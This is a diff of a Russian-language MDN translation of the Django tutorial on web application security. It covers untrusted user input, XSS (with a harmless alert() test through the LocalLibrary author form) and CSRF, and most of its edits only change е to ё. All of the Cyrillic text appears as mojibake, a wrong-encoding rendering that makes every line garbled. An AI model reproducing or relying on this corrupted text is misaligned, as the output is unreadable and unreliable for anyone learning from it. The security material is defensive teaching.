ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… ΠΈΠ΄Π΅ΠΉ этой Ρ‚Π΅ΠΌΡ‹ состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ практичСски всС Π°Ρ‚Π°ΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹, Ссли Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ довСряСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠ· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°).</p>
<div class="warning">
<p><strong>Π’Π°ΠΆΠ½ΠΎ:</strong> НаиболСС Π²Π°ΠΆΠ½Ρ‹ΠΉ ΡƒΡ€ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΡΠ²ΠΎΠΈΡ‚ΡŒ, состоит Π² Ρ‚ΠΎΠΌ - Ρ‡Ρ‚ΠΎ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ стоит Π΄ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ. Они Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π² сСбя GET ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π² URL, Ρ‚Π΅Π»ΠΎ POST запроса, HTTP Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, cookies, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Ρ‚.Π΄. ВсСгда провСряйтС ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΠΉΡ‚Π΅ всС Π²Ρ…ΠΎΠ΄Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. ВсСгда Π³ΠΎΡ‚ΠΎΠ²ΡŒΡ‚Π΅ΡΡŒ ΠΊ Ρ…ΡƒΠ΄ΡˆΠ΅ΠΌΡƒ.</p>
@@ -32,15 +32,15 @@ translation_of: Learn/Server-side/Django/web_application_security
<p>Π₯ΠΎΡ€ΠΎΡˆΠ΅ΠΉ Π½ΠΎΠ²ΠΎΡΡ‚ΡŒΡŽ для всСх Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… Django, являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ извСстных Π°Ρ‚Π°ΠΊ обрабатываСтся Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠΌ! Π‘Ρ‚Π°Ρ‚ΡŒΡ <a href="https://docs.djangoproject.com/en/2.0/topics/security/">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Π² Django</a> (Django docs) описываСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ обСспСчСния бСзопасности Django ΠΈ стратСгии Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Π²Π΅Π±-прилоТСния Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½ΠΎΠ³ΠΎ Π½Π° Π΄Π°Π½Π½ΠΎΠΌ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ΅.</p>
-<h2 id="РаспространСнныС_ΡƒΠ³Ρ€ΠΎΠ·Ρ‹ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹_Π·Π°Ρ‰ΠΈΡ‚Ρ‹">РаспространСнныС ΡƒΠ³Ρ€ΠΎΠ·Ρ‹/ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π·Π°Ρ‰ΠΈΡ‚Ρ‹</h2>
+<h2 id="РаспространённыС_ΡƒΠ³Ρ€ΠΎΠ·Ρ‹ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹_Π·Π°Ρ‰ΠΈΡ‚Ρ‹">РаспространённыС ΡƒΠ³Ρ€ΠΎΠ·Ρ‹/ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π·Π°Ρ‰ΠΈΡ‚Ρ‹</h2>
<p>ΠœΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ Π΄ΡƒΠ±Π»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ Django ΠΈ Π² Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ продСмонстрируСм Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ основныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ обСспСчСния бСзопасности Π² контСкстС Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΠΎΠ³ΠΎ Π² Π΄Π°Π½Π½ΠΎΠΌ руководствС прилоТСния <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>.</p>
<h3 id="ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ_скриптинг_(XSS)">ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ скриптинг (XSS)</h3>
-<p>XSS это Ρ‚Π΅Ρ€ΠΌΠΈΠ½, ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‰ΠΈΠΉΡΡ для описания класса Π°Ρ‚Π°ΠΊ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅Π³ΠΎ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΌΡƒ, Ρ‡Π΅Ρ€Π΅Π· Π²Π΅Π±-сайт Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ скрипты,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ Π½Π° устройствС зашСдшСго Π½Π° страницу ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Часто это происходит Ρ‡Π΅Ρ€Π΅Π· сохранСниС врСдоносного ΠΊΠΎΠ΄Π° Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΡ‚ΠΊΡƒΠ΄Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ для Π·Π°ΠΏΡ€ΠΎΡΠΈΠ²ΡˆΠ΅Π³ΠΎ Π½Π΅ΠΊΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ - сохранСниС Ρ‚Π΅Π³Π° &lt;script&gt; с врСдоносным ΠΊΠΎΠ΄ΠΎΠΌ Π² ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ). Π”Ρ€ΡƒΠ³ΠΎΠΉ Π²Π΅ΠΊΡ‚ΠΎΡ€ Π°Ρ‚Π°ΠΊΠΈ - Π² Ρ‚ΠΎΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ ссылку, ΠΏΡ€ΠΈ ΠΊΠ»ΠΈΠΊΠ΅ Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ запустит Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π΅ΠΊΠΎΠ΅Π³ΠΎ замаскированного ΠΊΠΎΠ΄Π° JavaScript Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</p>
+<p>XSS это Ρ‚Π΅Ρ€ΠΌΠΈΠ½, ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‰ΠΈΠΉΡΡ для описания класса Π°Ρ‚Π°ΠΊ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅Π³ΠΎ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΌΡƒ, Ρ‡Π΅Ρ€Π΅Π· Π²Π΅Π±-сайт Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ скрипты,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ Π½Π° устройствС зашСдшСго Π½Π° страницу ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Часто это происходит Ρ‡Π΅Ρ€Π΅Π· сохранСниС врСдоносного ΠΊΠΎΠ΄Π° Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΡ‚ΠΊΡƒΠ΄Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ для Π·Π°ΠΏΡ€ΠΎΡΠΈΠ²ΡˆΠ΅Π³ΠΎ Π½Π΅ΠΊΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ - сохранСниС Ρ‚Π΅Π³Π° &lt;script&gt; с врСдоносным ΠΊΠΎΠ΄ΠΎΠΌ Π² ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ). Π”Ρ€ΡƒΠ³ΠΎΠΉ Π²Π΅ΠΊΡ‚ΠΎΡ€ Π°Ρ‚Π°ΠΊΠΈ - Π² Ρ‚ΠΎΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ ссылку, ΠΏΡ€ΠΈ ΠΊΠ»ΠΈΠΊΠ΅ Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ запустит Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π΅ΠΊΠΎΠ΅Π³ΠΎ замаскированного ΠΊΠΎΠ΄Π° JavaScript Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</p>
-<p>БистСма шаблонов Django Π·Π°Ρ‰ΠΈΡ‰Π°Π΅Ρ‚ ΠΎΡ‚ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° XSS Π°Ρ‚Π°ΠΊ,Β Β <a href="https://docs.djangoproject.com/en/2.0/ref/templates/language/#automatic-html-escaping">экранируя ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ символы</a>, ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‰ΠΈΠ΅ΡΡ "опасными" Π² HTML. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ это, ΠΏΠΎΠΏΡ‹Ρ‚Π°Π²ΡˆΠΈΡΡŒ Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ JavaScript ΠΊΠΎΠ΄ Π² нашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ LocalLibrary Ρ‡Π΅Ρ€Π΅Π· Ρ„ΠΎΡ€ΠΌΡƒ добавлСния Π°Π²Ρ‚ΠΎΡ€Π°, ΡΠΎΠ·Π΄Π°Π½Π½ΡƒΡŽ Π² <a href="/en-US/docs/Learn/Server-side/Django/Forms">Руководство Ρ‡Π°ΡΡ‚ΡŒ 9: Π Π°Π±ΠΎΡ‚Π° с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ</a>.</p>
+<p>БистСма шаблонов Django Π·Π°Ρ‰ΠΈΡ‰Π°Π΅Ρ‚ ΠΎΡ‚ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° XSS Π°Ρ‚Π°ΠΊ,Β Β <a href="https://docs.djangoproject.com/en/2.0/ref/templates/language/#automatic-html-escaping">экранируя ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ символы</a>, ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‰ΠΈΠ΅ΡΡ "опасными" Π² HTML. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ это, ΠΏΠΎΠΏΡ‹Ρ‚Π°Π²ΡˆΠΈΡΡŒ Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ JavaScript ΠΊΠΎΠ΄ Π² нашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ LocalLibrary Ρ‡Π΅Ρ€Π΅Π· Ρ„ΠΎΡ€ΠΌΡƒ добавлСния Π°Π²Ρ‚ΠΎΡ€Π°, ΡΠΎΠ·Π΄Π°Π½Π½ΡƒΡŽ Π² <a href="/en-US/docs/Learn/Server-side/Django/Forms">Руководство Ρ‡Π°ΡΡ‚ΡŒ 9: Π Π°Π±ΠΎΡ‚Π° с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ</a>.</p>
<ol>
<li>ЗапуститС Π²Π΅Π±-сайт, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ сСрвСр Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ (<code>python3 manage.py runserver</code>).</li>
@@ -54,7 +54,7 @@ translation_of: Learn/Server-side/Django/web_application_security
</div>
</li>
<li>НаТмитС <strong>Submit</strong> для сохранСния записи.</li>
- <li>ПослС сохранСния Π°Π²Ρ‚ΠΎΡ€Π° - ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π’Π°ΠΊ ΠΊΠ°ΠΊ сработала Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ XSS - ΠΊΠΎΠΌΠ°Π½Π΄Π° <code>alert()</code> Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π°. ВмСсто этого скрипт Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ тСкст.<img alt="Author detail view XSS test" src="https://mdn.mozillademos.org/files/14307/author_detail_alert_xss.png" style="border-style: solid; border-width: 1px; height: 248px; width: 986px;"></li>
+ <li>ПослС сохранСния Π°Π²Ρ‚ΠΎΡ€Π° - ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π’Π°ΠΊ ΠΊΠ°ΠΊ сработала Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ XSS - ΠΊΠΎΠΌΠ°Π½Π΄Π° <code>alert()</code> Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π°. ВмСсто этого скрипт Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ тСкст.<img alt="Author detail view XSS test" src="https://mdn.mozillademos.org/files/14307/author_detail_alert_xss.png" style="border-style: solid; border-width: 1px; height: 248px; width: 986px;"></li>
</ol>
<p>Если Π²Ρ‹ посмотритС исходный HTML ΠΊΠΎΠ΄, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ "опасныС" символы - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ скобки Ρ‚Π΅Π³ΠΎΠ² - Π±Ρ‹Π»ΠΈ Π·Π°ΠΌΠ΅Π½Π΅Π½Ρ‹ Π½Π° ΠΈΡ… бСзопасныС эквивалСнтныС html сущности (ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ <code>&gt;</code> Π½Π° <code>&amp;gt;</code>)</p>
@@ -64,7 +64,7 @@ translation_of: Learn/Server-side/Django/web_application_security
<p>ИспользованиС шаблонов Django Π·Π°Ρ‰ΠΈΡ‰Π°Π΅Ρ‚ вас ΠΎΡ‚ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° XSS Π°Ρ‚Π°ΠΊ. Однако сущСствуСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π΄Π°Π½Π½ΠΎΠΉ Π·Π°Ρ‰ΠΈΡ‚Ρ‹, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ экранированиС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ автоматичСски примСнятся ΠΊΠΎ всСм полям, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ заполнятся ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ(ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΏΠΎΠ»Π΅ <code>help_text</code> ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ заполняСтся Π½Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, поэтому Django Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅).</p>
-<p>Π’Π°ΠΊ ΠΆΠ΅ XSS Π°Ρ‚Π°ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ осущСствлСны Ρ‡Π΅Ρ€Π΅Π· Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π½Π΅Π½Π°Π΄Π΅ΠΆΠ½Ρ‹Π΅ источники Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ cookies, сторонниС сСрвисы ΠΈΠ»ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ (ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΠ΅ источники, Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π΅ Π±Ρ‹Π»ΠΈ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹Β ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ Π½Π° страницС). Если Π²Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· этих источников, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ваш собствСнный ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ для Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p>Π’Π°ΠΊ ΠΆΠ΅ XSS Π°Ρ‚Π°ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ осущСствлСны Ρ‡Π΅Ρ€Π΅Π· Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π½Π΅Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹Π΅ источники Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ cookies, сторонниС сСрвисы ΠΈΠ»ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ (ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΠ΅ источники, Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π΅ Π±Ρ‹Π»ΠΈ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹Β ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ Π½Π° страницС). Если Π²Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· этих источников, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ваш собствСнный ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ для Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Ρ….</p>
<h3 id="ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Π°Ρ_ΠΏΠΎΠ΄Π΄Π΅Π»ΠΊΠ°_запроса_(CSRF)">ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Π°Ρ ΠΏΠΎΠ΄Π΄Π΅Π»ΠΊΠ° запроса (CSRF)</h3>
@@ -93,9 +93,9 @@ translation_of: Learn/Server-side/Django/web_application_security
&lt;/html&gt;
</pre>
-<p>ЗапуститС Π²Π΅Π±-сСрвСр Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ Π²ΠΎΠΉΠ΄ΠΈΡ‚Π΅ Π² Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚ супСр-ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ тСкст Π² Ρ„Π°ΠΉΠ» ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π΅Π³ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ CSRF ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρƒ Django Π΅ΡΡ‚ΡŒ Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ Π°Ρ‚Π°ΠΊ Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π²ΠΈΠ΄Π°!</p>
+<p>ЗапуститС Π²Π΅Π±-сСрвСр Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ Π²ΠΎΠΉΠ΄ΠΈΡ‚Π΅ Π² Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚ супСр-ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ тСкст Π² Ρ„Π°ΠΉΠ» ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π΅Π³ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ CSRF ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρƒ Django Π΅ΡΡ‚ΡŒ Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ Π°Ρ‚Π°ΠΊ Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π²ΠΈΠ΄Π°!</p>
